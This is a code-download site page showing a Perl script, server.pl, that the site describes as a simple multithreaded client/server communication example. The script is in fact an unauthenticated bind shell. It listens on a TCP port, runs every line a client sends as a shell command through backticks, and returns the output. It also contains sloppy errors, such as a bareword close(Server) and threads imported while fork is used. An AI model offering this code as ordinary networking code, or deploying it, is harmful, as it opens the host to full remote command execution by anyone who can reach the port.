⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 server.pl

📁 一个简单的多线程的客户端,服务器端通信代码
💻 PL
字号:
use strict;
use warnings;
use Errno qw(EAGAIN);
use threads; 
use threads::shared;
use IO::Socket::INET;

my $server_port    = $ARGV[0] || '3000';

my $server = IO::Socket::INET->new( LocalPort   => $server_port,
                                    Type        => SOCK_STREAM,
                                    Reuse       => 1,
                                    Listen      => 10)   
or die "Couldn't be a tcp server on port $server_port: $!\n";

while ( my $client = $server->accept()) {
    my $kidpid ;
    next if ($kidpid = fork) ;
 
    defined($kidpid) or die "cannot fork: $!";
    &threadSession($client);
    exit;
}

close(Server);

sub threadSession(){
    close Server;        
    my $sessionHandle = shift;
    select($sessionHandle);      
    $| = 1;         # auto-refresh
    
    #open(STDOUT, ">&\$sessionHandle") or die "can't dup client: $!";
    #open(STDERR, ">&\$sessionHandle") or die "can't dup client: $!";     
    print "done\n";      # to Client
    
    while (my $input= <$sessionHandle>){
        chomp $input;
        exit if ($input =~ m/^exitserver$/i);
        $input .= ' 2>&1';
        my $return = `$input`;
        print $return, "\n", "qq\n";
    }      
    
    #close Client;    
}



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -